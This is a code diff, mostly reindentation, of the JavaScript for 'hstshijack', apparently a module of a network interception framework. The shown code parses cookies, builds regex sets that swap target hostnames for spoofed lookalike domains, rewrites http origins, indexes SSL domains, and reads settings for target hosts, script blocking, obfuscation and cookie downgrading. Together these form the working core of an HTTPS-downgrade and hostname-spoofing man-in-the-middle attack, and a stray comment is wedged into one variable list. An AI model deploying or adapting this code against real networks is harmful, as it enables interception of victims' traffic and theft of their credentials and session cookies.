- downgrade_cookies;
+ cookie_secure_prefix,
+ rx_global_cookie_host_prefix,
+ rx_global_cookie_secure_prefix,
+ downgrade_cookies;
var ssl_discovery_delay,
- ssl_discovery_synchronous;
+ ssl_discovery_synchronous;
var math_seed;
var whitelist = {};
var rx_header_csp = /(?:x-webkit-csp|(?:x-)?content-security-policy)\s{0,100}:.*?\r\n/ig,
- rx_header_cspro = /content-security-policy-report-only\s{0,100}:.*?\r\n/ig,
- rx_header_corp = /cross-origin-resource-policy\s{0,100}:.*?\r\n/ig,
- rx_content_type_html = /text[/](?:html|xml)|application[/](?:hta|xhtml[+]xml|xml)/i,
- rx_content_type_js = /\S+\/javascript/i,
- rx_content_type_json = /\S+\/json/i,
- rx_doctype_html = //i,
- rx_extension_html = /\.(?:html|htm|xml|xhtml|xhtm|xht|hta)$/i,
- rx_extension_js = /\.(?:[m]?js|js[x]?)$/i,
- rx_extension_json = /\.(?:json|map)$/i,
- rx_uri_one = /^https:\/\/[a-z0-9]/i,
- rx_uri_two = /^https:\/\/([^:/?#]+).*$/i,
- rx_http_origin = /^(http:\/\/[a-z0-9-.]+).*/i,
- rx_html_magic = /^\s{0,100})/ig,
- rx_html_script_close_tag = /<\/script(\s|>)/ig,
- rx_all_dashes = /-/g,
- rx_all_dots = /\./g,
- rx_scheme_http_https_colon = /(http)s:/ig,
- rx_semicolon_separator = /\s{0,100};\s{0,100}/,
- rx_port_https = /:443($|[^0-9])/g,
- rx_regset_wildcard_one = /^\*\./,
- rx_regset_wildcard_two = /\.\*$/,
- rx_regset_wildcard_three = /\.\*$/g,
- rx_regset_wildcard_four = /\.\*/g,
- rx_query_param = /^([^=]*)=(.*)$/,
- rx_cookie_host_prefix = /^__Host-/ig,
- rx_cookie_secure_prefix = /^__Secure-/ig;
-
-var red = "\x1b[31m",
- yellow = "\x1b[33m",
- green = "\x1b[32m",
+ rx_header_cspro = /content-security-policy-report-only\s{0,100}:.*?\r\n/ig,
+ rx_header_corp = /cross-origin-resource-policy\s{0,100}:.*?\r\n/ig,
+ rx_content_type_html = /text[/](?:html|xml)|application[/](?:hta|xhtml[+]xml|xml)/i,
+ rx_content_type_js = /\S+\/javascript/i,
+ rx_content_type_json = /\S+\/json/i,
+ rx_doctype_html = //i,
+ rx_extension_html = /\.(?:html|htm|xml|xhtml|xhtm|xht|hta)$/i,
+ rx_extension_js = /\.(?:[m]?js|js[x]?)$/i,
+ rx_extension_json = /\.(?:json|map)$/i,
+ rx_uri_one = /^https:\/\/[a-z0-9]/i,
+ rx_uri_two = /^https:\/\/([^:/?#]+).*$/i,
+ rx_http_origin = /^(http:\/\/[a-z0-9-.]+).*/i,
+ rx_html_magic = /^\s{0,100})/ig,
+ rx_html_script_close_tag = /<\/script(\s|>)/ig,
+ rx_all_dashes = /-/g,
+ rx_all_dots = /\./g,
+ rx_scheme_http_https_colon = /(http)s:/ig,
+ rx_semicolon_separator = /\s{0,100};\s{0,100}/,
+ rx_port_https = /:443($|[^0-9])/g,
+ rx_regset_wildcard_one = /^\*\./,
+ rx_regset_wildcard_two = /\.\*$/,
+ rx_regset_wildcard_three = /\.\*$/g,
+ rx_regset_wildcard_four = /\.\*/g,
+ rx_query_param = /^([^=]*)=(.*)$/,
+ rx_cookie_host_prefix = /^__Host-/ig,
+ rx_cookie_secure_prefix = /^__Secure-/ig;
+
+var red = "\x1b[31m",
+ yellow = "\x1b[33m",
+ green = "\x1b[32m",
/* lion stronger than machine */
- blue = "\x1b[34m",
- on_white = "\x1b[47;30m",
- on_grey = "\x1b[40;37m",
- on_blue = "\x1b[104;30m",
- bold = "\x1b[1;37m",
- reset = "\x1b[0m";
+ blue = "\x1b[34m",
+ on_white = "\x1b[47;30m",
+ on_grey = "\x1b[40;37m",
+ on_blue = "\x1b[104;30m",
+ bold = "\x1b[1;37m",
+ reset = "\x1b[0m";
/**
* @param {Object} cookie - Cookie object.
* @returns {String} header_value
*/
function cookieToResponseHeaderValue(cookie) {
- if (typeof cookie.name !== "string" || cookie.name === "") {
- log_error("error converting cookie to string: cookie has no name.");
- return "";
- }
- var cookie_string = "";
- if (typeof cookie.value === "string")
- cookie_string = cookie.name + "=" + cookie.value
- else return "";
- if (typeof cookie.domain === "string" && cookie.domain !== "")
- cookie_string += "; Domain=" + cookie.domain;
- if (typeof cookie.path === "string" && cookie.path !== "")
- cookie_string += "; Path=" + cookie.path;
- if (typeof cookie.expires === "string" && cookie.expires !== "")
- cookie_string += "; Expires=" + cookie.expires;
- if (typeof cookie.maxAge === "string" && cookie.maxAge !== "")
- cookie_string += "; Max-Age=" + cookie.maxAge;
- if (typeof cookie.priority === "string" && cookie.priority !== "")
- cookie_string += "; Priority=" + cookie.priority;
- if (typeof cookie.sameSite === "string" && cookie.sameSite !== "")
- cookie_string += "; SameSite=" + cookie.sameSite;
- if (cookie.secure === true) cookie_string += "; Secure";
- if (cookie.httpOnly === true) cookie_string += "; HttpOnly";
- if (cookie.partitioned === true) cookie_string += "; Partitioned";
- return cookie_string;
+ if (typeof cookie.name !== "string" || cookie.name === "") {
+ log_error("error converting cookie to string: cookie has no name.");
+ return "";
+ }
+ var cookie_string = "";
+ if (typeof cookie.value === "string")
+ cookie_string = cookie.name + "=" + cookie.value
+ else return "";
+ if (typeof cookie.domain === "string" && cookie.domain !== "")
+ cookie_string += "; Domain=" + cookie.domain;
+ if (typeof cookie.path === "string" && cookie.path !== "")
+ cookie_string += "; Path=" + cookie.path;
+ if (typeof cookie.expires === "string" && cookie.expires !== "")
+ cookie_string += "; Expires=" + cookie.expires;
+ if (typeof cookie.maxAge === "string" && cookie.maxAge !== "")
+ cookie_string += "; Max-Age=" + cookie.maxAge;
+ if (typeof cookie.priority === "string" && cookie.priority !== "")
+ cookie_string += "; Priority=" + cookie.priority;
+ if (typeof cookie.sameSite === "string" && cookie.sameSite !== "")
+ cookie_string += "; SameSite=" + cookie.sameSite;
+ if (cookie.secure === true) cookie_string += "; Secure";
+ if (cookie.httpOnly === true) cookie_string += "; HttpOnly";
+ if (cookie.partitioned === true) cookie_string += "; Partitioned";
+ return cookie_string;
}
/**
@@ -146,1422 +146,1423 @@ function cookieToResponseHeaderValue(cookie) {
* @returns {Object} cookie
*/
function parseCookie(cookie_string) {
- var cookie_attrs = cookie_string.split(rx_semicolon_separator);
- if (cookie_attrs.length === 0) return null;
- var cookie = {
- name: "",
- value: "",
- domain: "",
- path: "",
- expires: "",
- maxAge: "",
- priority: "",
- sameSite: "",
- secure: false,
- httpOnly: false,
- partitioned: false,
- };
- cookie_attrs.forEach(function(attr, a) {
- var separator_index = attr.indexOf('=');
- var parts;
- if (separator_index !== -1)
- parts = [attr.slice(0, separator_index), attr.slice(separator_index + 1)]
- else parts = [attr];
- if (a === 0) {
- cookie.name = parts[0];
- if (parts.length === 2) cookie.value = parts[1];
- } else {
- switch (parts[0].toLowerCase()) {
- case "domain":
- if (parts.length === 2) cookie.domain = parts[1].toLowerCase();
- break;
- case "path":
- if (parts.length === 2) cookie.path = parts[1];
- break;
- case "expires":
- if (parts.length === 2) cookie.expires = parts[1];
- break;
- case "max-age":
- if (parts.length === 2) {
- var max_age = parseInt(parts[1]);
- if (max_age !== NaN) cookie.maxAge = max_age.toString();
- }
- break;
- case "priority":
- if (parts.length === 2) cookie.priority = parts[1];
- break;
- case "samesite":
- if (parts.length === 2) cookie.sameSite = parts[1];
- break;
- case "secure":
- cookie.secure = true;
- break;
- case "httponly":
- cookie.httpOnly = true;
- break;
- case "partitioned":
- cookie.partitioned = true;
- break;
- default:
- log_error("ignored an unexpected cookie attribute:", cookie_string);
- break;
- }
- }
- });
- if (cookie.name !== "") return cookie;
- log_error("cookie has no name:", cookie_string);
- return null;
+ var cookie_attrs = cookie_string.split(rx_semicolon_separator);
+ if (cookie_attrs.length === 0) return null;
+ var cookie = {
+ name: "",
+ value: "",
+ domain: "",
+ path: "",
+ expires: "",
+ maxAge: "",
+ priority: "",
+ sameSite: "",
+ secure: false,
+ httpOnly: false,
+ partitioned: false,
+ };
+ cookie_attrs.forEach(function(attr, a) {
+ var separator_index = attr.indexOf('=');
+ var parts;
+ if (separator_index !== -1)
+ parts = [attr.slice(0, separator_index), attr.slice(separator_index + 1)]
+ else parts = [attr];
+ if (a === 0) {
+ cookie.name = parts[0];
+ if (parts.length === 2) cookie.value = parts[1];
+ } else {
+ switch (parts[0].toLowerCase()) {
+ case "domain":
+ if (parts.length === 2) cookie.domain = parts[1].toLowerCase();
+ break;
+ case "path":
+ if (parts.length === 2) cookie.path = parts[1];
+ break;
+ case "expires":
+ if (parts.length === 2) cookie.expires = parts[1];
+ break;
+ case "max-age":
+ if (parts.length === 2) {
+ var max_age = parseInt(parts[1]);
+ if (max_age !== NaN) cookie.maxAge = max_age.toString();
+ }
+ break;
+ case "priority":
+ if (parts.length === 2) cookie.priority = parts[1];
+ break;
+ case "samesite":
+ if (parts.length === 2) cookie.sameSite = parts[1];
+ break;
+ case "secure":
+ cookie.secure = true;
+ break;
+ case "httponly":
+ cookie.httpOnly = true;
+ break;
+ case "partitioned":
+ cookie.partitioned = true;
+ break;
+ default:
+ log_error("ignored an unexpected cookie attribute:", cookie_string);
+ break;
+ }
+ }
+ });
+ if (cookie.name !== "") return cookie;
+ log_error("cookie has no name:", cookie_string);
+ return null;
}
function randomString(length) {
- length = parseInt(length);
- var chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
- buff = new Array(length);
- for (var a = 0; a < buff.length; a++) {
- index = parseInt(Math.random() * chars.length);
- buff[a] = chars.charAt(index);
- }
- return buff.join("");
+ length = parseInt(length);
+ var chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
+ buff = new Array(length);
+ for (var a = 0; a < buff.length; a++) {
+ index = parseInt(Math.random() * chars.length);
+ buff[a] = chars.charAt(index);
+ }
+ return buff.join("");
}
function toRegexp(selector_string, replacement_string) {
- return [
- new RegExp("(^|[^a-z0-9-.])" + selector_string.replace(rx_all_dots, "\\.") + "([^a-z0-9-.]|$)", "ig"),
- "$1" + replacement_string + "$2"
- ];
+ return [
+ new RegExp("(^|[^a-z0-9-.])" + selector_string.replace(rx_all_dots, "\\.") + "([^a-z0-9-.]|$)", "ig"),
+ "$1" + replacement_string + "$2"
+ ];
}
function toHttpOriginRegexp(selector_string, replacement_string) {
- return [
- new RegExp("http://" + selector_string.replace(rx_all_dots, "\\.") + "([^a-z0-9-.]|$)", "ig"),
- "https://" + replacement_string + "$2"
- ];
+ return [
+ new RegExp("http://" + selector_string.replace(rx_all_dots, "\\.") + "([^a-z0-9-.]|$)", "ig"),
+ "https://" + replacement_string + "$2"
+ ];
}
function toWholeRegexp(selector_string, replacement_string) {
- return [
- new RegExp("^" + selector_string.replace(rx_all_dots, "\\.") + "$", "ig"),
- replacement_string
- ];
+ return [
+ new RegExp("^" + selector_string.replace(rx_all_dots, "\\.") + "$", "ig"),
+ replacement_string
+ ];
}
function toWildcardRegexp(selector_string, replacement_string) {
- selector_string = selector_string.replace(rx_all_dashes, "\\-");
- if (rx_regset_wildcard_one.test(selector_string)) {
- selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
- selector_string = selector_string.replace(rx_all_dots, "\\.");
- selector_string = selector_string + "([^a-z0-9-.]|$)";
- replacement_string = replacement_string.replace(rx_regset_wildcard_one, "");
- return [
- new RegExp(selector_string, "ig"),
- "$1" + replacement_string + "$2"
- ];
- } else if (rx_regset_wildcard_two.test(selector_string)) {
- selector_string = selector_string.replace(rx_regset_wildcard_three, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
- selector_string = selector_string.replace(rx_all_dots, "\\.");
- selector_string = "(^|[^a-z0-9-.])" + selector_string;
- replacement_string = replacement_string.replace(rx_regset_wildcard_two, "");
- return [
- new RegExp(selector_string, "ig"),
- "$1" + replacement_string + "$2"
- ];
- } else {
- log_error(on_blue + "hstshijack" + reset + " Invalid toWildcardRegexp() value (got " + selector_string + ").");
- }
+ selector_string = selector_string.replace(rx_all_dashes, "\\-");
+ if (rx_regset_wildcard_one.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ selector_string = selector_string + "([^a-z0-9-.]|$)";
+ replacement_string = replacement_string.replace(rx_regset_wildcard_one, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ "$1" + replacement_string + "$2"
+ ];
+ } else if (rx_regset_wildcard_two.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_three, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ selector_string = "(^|[^a-z0-9-.])" + selector_string;
+ replacement_string = replacement_string.replace(rx_regset_wildcard_two, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ "$1" + replacement_string + "$2"
+ ];
+ } else {
+ log_error(on_blue + "hstshijack" + reset + " Invalid toWildcardRegexp() value (got " + selector_string + ").");
+ }
}
function toWildcardHttpOriginRegexp(selector_string, replacement_string) {
- selector_string = selector_string.replace(rx_all_dashes, "\\-");
- if (rx_regset_wildcard_one.test(selector_string)) {
- selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
- selector_string = selector_string.replace(rx_all_dots, "\\.");
- selector_string = "http://" + selector_string + "([^a-z0-9-.]|$)";
- replacement_string = replacement_string.replace(rx_regset_wildcard_one, "");
- return [
- new RegExp(selector_string, "ig"),
- "https://$1" + replacement_string + "$2"
- ];
- } else if (rx_regset_wildcard_two.test(selector_string)) {
- selector_string = selector_string.replace(rx_regset_wildcard_three, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
- selector_string = selector_string.replace(rx_all_dots, "\\.");
- selector_string = "http://" + selector_string;
- replacement_string = replacement_string.replace(rx_regset_wildcard_two, "");
- return [
- new RegExp(selector_string, "ig"),
- "https://" + replacement_string + "$1"
- ];
- } else {
- log_error(on_blue + "hstshijack" + reset + " Invalid toWildcardHttpOriginRegexp() value (got " + selector_string + ").");
- }
+ selector_string = selector_string.replace(rx_all_dashes, "\\-");
+ if (rx_regset_wildcard_one.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ selector_string = "http://" + selector_string + "([^a-z0-9-.]|$)";
+ replacement_string = replacement_string.replace(rx_regset_wildcard_one, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ "https://$1" + replacement_string + "$2"
+ ];
+ } else if (rx_regset_wildcard_two.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_three, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ selector_string = "http://" + selector_string;
+ replacement_string = replacement_string.replace(rx_regset_wildcard_two, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ "https://" + replacement_string + "$1"
+ ];
+ } else {
+ log_error(on_blue + "hstshijack" + reset + " Invalid toWildcardHttpOriginRegexp() value (got " + selector_string + ").");
+ }
}
function toWholeWildcardRegexp(selector_string, replacement_string) {
- selector_string = selector_string.replace(rx_all_dashes, "\\-");
- if (rx_regset_wildcard_one.test(selector_string)) {
- selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
- selector_string = selector_string.replace(rx_all_dots, "\\.");
- replacement_string = replacement_string.replace(rx_regset_wildcard_one, "");
- return [
- new RegExp("^" + selector_string + "$", "ig"),
- "$1" + replacement_string
- ];
- } else if (rx_regset_wildcard_two.test(selector_string)) {
- selector_string = selector_string.replace(rx_regset_wildcard_four, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
- selector_string = selector_string.replace(rx_all_dots, "\\.");
- replacement_string = replacement_string.replace(rx_regset_wildcard_two, "");
- return [
- new RegExp(selector_string, "ig"),
- replacement_string + "$1"
- ];
- } else {
- log_error(on_blue + "hstshijack" + reset + " Invalid toWholeWildcardRegexp() value (got " + selector_string + ").");
- }
+ selector_string = selector_string.replace(rx_all_dashes, "\\-");
+ if (rx_regset_wildcard_one.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ replacement_string = replacement_string.replace(rx_regset_wildcard_one, "");
+ return [
+ new RegExp("^" + selector_string + "$", "ig"),
+ "$1" + replacement_string
+ ];
+ } else if (rx_regset_wildcard_two.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_four, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ replacement_string = replacement_string.replace(rx_regset_wildcard_two, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ replacement_string + "$1"
+ ];
+ } else {
+ log_error(on_blue + "hstshijack" + reset + " Invalid toWholeWildcardRegexp() value (got " + selector_string + ").");
+ }
}
/* Matches /(^|[^a-z0-9-.])example\.com([^a-z0-9-.]|$)/ig */
function toRegexpSet(selector_string, replacement_string) {
- if (selector_string.indexOf("*") !== -1) {
- return toWildcardRegexp(selector_string, replacement_string);
- } else {
- return toRegexp(selector_string, replacement_string);
- }
+ if (selector_string.indexOf("*") !== -1) {
+ return toWildcardRegexp(selector_string, replacement_string);
+ } else {
+ return toRegexp(selector_string, replacement_string);
+ }
}
/* Matches /http:\/\/example\.com([^a-z0-9-.]|$)/ig */
function toHttpOriginRegexpSet(selector_string, replacement_string) {
- if (selector_string.indexOf("*") !== -1) {
- return toWildcardHttpOriginRegexp(selector_string, replacement_string);
- } else {
- return toHttpOriginRegexp(selector_string, replacement_string);
- }
+ if (selector_string.indexOf("*") !== -1) {
+ return toWildcardHttpOriginRegexp(selector_string, replacement_string);
+ } else {
+ return toHttpOriginRegexp(selector_string, replacement_string);
+ }
}
/* Matches ^example.com$ */
function toWholeRegexpSet(selector_string, replacement_string) {
- if (selector_string.indexOf("*") !== -1) {
- return toWholeWildcardRegexp(selector_string, replacement_string);
- } else {
- return toWholeRegexp(selector_string, replacement_string);
- }
+ if (selector_string.indexOf("*") !== -1) {
+ return toWholeWildcardRegexp(selector_string, replacement_string);
+ } else {
+ return toWholeRegexp(selector_string, replacement_string);
+ }
}
/* Saves the list of domains using SSL, as well as its index ranges. */
function saveSSLIndex() {
- domains = [];
- for (a = 0; a !== ssl.prefixes.length; a++) {
- prefix = ssl.prefixes[a];
- domains = domains.concat(ssl.index[prefix]);
- }
- ssl.domains = domains;
- writeFile(env["hstshijack.ssl.domains"], domains.join("\n"));
- writeFile(env["hstshijack.ssl.index"], JSON.stringify(ssl.index));
+ domains = [];
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ prefix = ssl.prefixes[a];
+ domains = domains.concat(ssl.index[prefix]);
+ }
+ ssl.domains = domains;
+ writeFile(env["hstshijack.ssl.domains"], domains.join("\n"));
+ writeFile(env["hstshijack.ssl.index"], JSON.stringify(ssl.index));
}
/* Saves the whitelist. */
function saveWhitelist() {
- writeFile(env["hstshijack.whitelist"], JSON.stringify(whitelist));
+ writeFile(env["hstshijack.whitelist"], JSON.stringify(whitelist));
}
/* Returns the amount of characters of an identical prefix of two given strings. */
function getMatchingPrefixLength(string1, string2) {
- count = 0;
- if (string1.length > string2.length) {
- for (a = 0; a !== string2.length; a++) {
- if (string1.charAt(a) !== string2.charAt(a)) {
- break;
- }
- count++;
- }
- } else {
- for (a = 0; a !== string1.length; a++) {
- if (string1.charAt(a) !== string2.charAt(a)) {
- break;
- }
- count++;
- }
- }
- return count;
+ count = 0;
+ if (string1.length > string2.length) {
+ for (a = 0; a !== string2.length; a++) {
+ if (string1.charAt(a) !== string2.charAt(a)) {
+ break;
+ }
+ count++;
+ }
+ } else {
+ for (a = 0; a !== string1.length; a++) {
+ if (string1.charAt(a) !== string2.charAt(a)) {
+ break;
+ }
+ count++;
+ }
+ }
+ return count;
}
/* Returns true if domain1 gets alphanumeric precendence over domain2. */
function getsPrecedence(domain1, domain2) {
- if (domain1.length > domain2.length) {
- /* If the first given domain is longer than the second. */
- for (a = 0; a !== domain2.length; a++) {
- rank1 = ssl.hierarchy.indexOf(domain1.charAt(a));
- rank2 = ssl.hierarchy.indexOf(domain2.charAt(a));
- if (rank1 > rank2) {
- return false;
- } else if (rank1 < rank2) {
- return true;
- }
- }
- return false;
- } else {
- /* If the second given domain is longer than the first. */
- for (a = 0; a !== domain1.length; a++) {
- rank1 = ssl.hierarchy.indexOf(domain1.charAt(a));
- rank2 = ssl.hierarchy.indexOf(domain2.charAt(a));
- if (rank1 > rank2) {
- return false;
- } else if (rank1 < rank2) {
- return true;
- }
- }
- return true;
- }
+ if (domain1.length > domain2.length) {
+ /* If the first given domain is longer than the second. */
+ for (a = 0; a !== domain2.length; a++) {
+ rank1 = ssl.hierarchy.indexOf(domain1.charAt(a));
+ rank2 = ssl.hierarchy.indexOf(domain2.charAt(a));
+ if (rank1 > rank2) {
+ return false;
+ } else if (rank1 < rank2) {
+ return true;
+ }
+ }
+ return false;
+ } else {
+ /* If the second given domain is longer than the first. */
+ for (a = 0; a !== domain1.length; a++) {
+ rank1 = ssl.hierarchy.indexOf(domain1.charAt(a));
+ rank2 = ssl.hierarchy.indexOf(domain2.charAt(a));
+ if (rank1 > rank2) {
+ return false;
+ } else if (rank1 < rank2) {
+ return true;
+ }
+ }
+ return true;
+ }
}
/* Returns the index of a given domain. */
function getDomainIndex(domain) {
- domain = domain.toLowerCase();
- for (a = 0; a !== ssl.prefixes.length; a++) {
- prefix = ssl.prefixes[a];
- if (domain.startsWith(prefix)) {
- return ssl.index[prefix].indexOf(domain);
- }
- }
+ domain = domain.toLowerCase();
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ prefix = ssl.prefixes[a];
+ if (domain.startsWith(prefix)) {
+ return ssl.index[prefix].indexOf(domain);
+ }
+ }
}
/* Index a new domain. */
function indexDomain(domain) {
- domain = domain.toLowerCase();
- domain_prefix = "";
- for (a = 0; a !== ssl.prefixes.length; a++) {
- prefix = ssl.prefixes[a];
- if (domain.startsWith(prefix)) {
- domain_prefix = prefix;
- break;
- }
- }
- indexed_domains = ssl.index[domain_prefix];
- if (indexed_domains.indexOf(domain) === -1) {
- /* This domain is not indexed yet. */
- log_debug(on_blue + "hstshijack" + reset + " Indexing domain " + bold + domain + reset + " ...");
- if (indexed_domains.length !== 0) {
- for (a = 0; a < indexed_domains.length; a++) {
- indexed_domain = indexed_domains[a];
- if (getsPrecedence(domain, indexed_domain)) {
- ssl.index[domain_prefix] = indexed_domains.slice(0, a)
- .concat(domain)
- .concat(indexed_domains.slice(a, indexed_domains.length));
- saveSSLIndex();
- return;
- }
- }
- ssl.index[domain_prefix].push(domain);
- } else {
- ssl.index[domain_prefix] = [domain];
- }
- saveSSLIndex();
- } else {
- /* This domain is already indexed. */
- log_debug(on_blue + "hstshijack" + reset + " Skipped already indexed domain " + bold + domain + reset);
- }
+ domain = domain.toLowerCase();
+ domain_prefix = "";
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ prefix = ssl.prefixes[a];
+ if (domain.startsWith(prefix)) {
+ domain_prefix = prefix;
+ break;
+ }
+ }
+ indexed_domains = ssl.index[domain_prefix];
+ if (indexed_domains.indexOf(domain) === -1) {
+ /* This domain is not indexed yet. */
+ log_debug(on_blue + "hstshijack" + reset + " Indexing domain " + bold + domain + reset + " ...");
+ if (indexed_domains.length !== 0) {
+ for (a = 0; a < indexed_domains.length; a++) {
+ indexed_domain = indexed_domains[a];
+ if (getsPrecedence(domain, indexed_domain)) {
+ ssl.index[domain_prefix] = indexed_domains.slice(0, a)
+ .concat(domain)
+ .concat(indexed_domains.slice(a, indexed_domains.length));
+ saveSSLIndex();
+ return;
+ }
+ }
+ ssl.index[domain_prefix].push(domain);
+ } else {
+ ssl.index[domain_prefix] = [domain];
+ }
+ saveSSLIndex();
+ } else {
+ /* This domain is already indexed. */
+ log_debug(on_blue + "hstshijack" + reset + " Skipped already indexed domain " + bold + domain + reset);
+ }
}
function configure() {
- /* Read caplet. */
- env["hstshijack.ignore"]
- ? ignore_hosts = env["hstshijack.ignore"].replace(/\s/g, "$1").split(",")
- : ignore_hosts = [];
- env["hstshijack.targets"]
- ? target_hosts = env["hstshijack.targets"].replace(/\s/g, "$1").split(",")
- : target_hosts = [];
- env["hstshijack.replacements"]
- ? replacement_hosts = env["hstshijack.replacements"].replace(/\s/g, "$1").split(",")
- : replacement_hosts = [];
- env["hstshijack.blockscripts"]
- ? block_script_hosts = env["hstshijack.blockscripts"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
- : block_script_hosts = [];
- env["hstshijack.obfuscate"]
- ? obfuscate = env["hstshijack.obfuscate"].replace(/^\s*(.*?)\s*$/g, "$1").toLowerCase() === "true" ? true : false
- : obfuscate = false;
- env["hstshijack.cookies.downgrade"]
- ? downgrade_cookies = env["hstshijack.cookies.downgrade"].replace(/^\s*(.*?)\s*$/g, "$1").toLowerCase() === "true" ? true : false
- : downgrade_cookies = false;
-
- /* Validate caplet. */
- if (target_hosts.length < replacement_hosts.length) {
- log_fatal(on_blue + "hstshijack" + reset + " Too many hstshijack.replacements (got " + replacement_hosts.length + ").");
- }
- if (target_hosts.length > replacement_hosts.length) {
- log_fatal(on_blue + "hstshijack" + reset + " Not enough hstshijack.replacements (got " + replacement_hosts.length + ").");
- }
- if (target_hosts.indexOf("*") !== -1) {
- log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got *).");
- }
- if (replacement_hosts.indexOf("*") !== -1) {
- log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got *).");
- }
-
- var rx_whole_prefix_wildcard_domain = /^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))$/i;
- var rx_whole_suffix_wildcard_domain = /^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+\*$/i;
- for (a = 0; a < ignore_hosts.length; a++) {
- if (
- !/^\*$/i.test(ignore_hosts[a])
- && !rx_whole_prefix_wildcard_domain.test(ignore_hosts[a])
- && !rx_whole_suffix_wildcard_domain.test(ignore_hosts[a])
- ) {
- log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.ignore value (got " + ignore_hosts[a] + ").");
- }
- }
-
- for (a = 0; a < target_hosts.length; a++) {
- if (
- !rx_whole_prefix_wildcard_domain.test(target_hosts[a])
- && !rx_whole_suffix_wildcard_domain.test(target_hosts[a])
- ) {
- log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got " + target_hosts[a] + ").");
- }
-
- if (
- !rx_whole_prefix_wildcard_domain.test(replacement_hosts[a])
- && !rx_whole_suffix_wildcard_domain.test(replacement_hosts[a])
- ) {
- log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got " + replacement_hosts[a] + ").");
- }
-
- if (/\*/g.test(target_hosts[a]) || /\*/g.test(replacement_hosts[a])) {
- target_host_wildcard_count = target_hosts[a].match(/\*/g).length || 0;
- replacement_host_wildcard_count = replacement_hosts[a].match(/\*/g).length || 0;
- if (target_host_wildcard_count !== replacement_host_wildcard_count) {
- log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets or hstshijack.replacements value, wildcards do not match (got " + target_hosts[a] + " and " + replacement_hosts[a] + ").");
- }
- }
- }
-
- for (a = 0; a < target_hosts.length; a++) {
- /* Precompile regex sets for hostname spoofing. */
- rx_sets_global_target_hosts.push(toRegexpSet(target_hosts[a], replacement_hosts[a]));
- rx_sets_global_replacement_hosts.push(toRegexpSet(replacement_hosts[a], target_hosts[a]));
- /* Precompile whole regex sets for hostname spoofing. */
- rx_sets_whole_target_hosts.push(toWholeRegexpSet(target_hosts[a], replacement_hosts[a]));
- rx_sets_whole_replacement_hosts.push(toWholeRegexpSet(replacement_hosts[a], target_hosts[a]));
- /* Precompile regex sets for restoring HTTPS. */
- rx_sets_global_target_http_origins.push(toHttpOriginRegexpSet(target_hosts[a], target_hosts[a]));
- }
-
- for (a = 0; a < block_script_hosts.length; a++) {
- if (
- !/^\*$/i.test(block_script_hosts[a])
- && !rx_whole_prefix_wildcard_domain.test(block_script_hosts[a])
- && !rx_whole_suffix_wildcard_domain.test(block_script_hosts[a])
- ) {
- log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.blockscripts value (got " + block_script_hosts[a] + ").");
- }
- }
-
- /* Prepare response body regex replacements. */
- env["hstshijack.replacements.res.body"]
- ? replacements_res_body_path = env["hstshijack.replacements.res.body"].replace(/^\s*(.*?)\s*$/g, "$1")
- : replacements_res_body_path = "";
- try {
- replacements_res_body = JSON.parse(readFile(replacements_res_body_path));
- } catch (err) {
- log_fatal(err);
- }
- if (!replacements_res_body.html || typeof replacements_res_body.html !== "object")
- replacements_res_body.html = {};
- if (!replacements_res_body.javascript || typeof replacements_res_body.javascript !== "object")
- replacements_res_body.javascript = {};
- if (!replacements_res_body.json || typeof replacements_res_body.json !== "object")
- replacements_res_body.json = {};
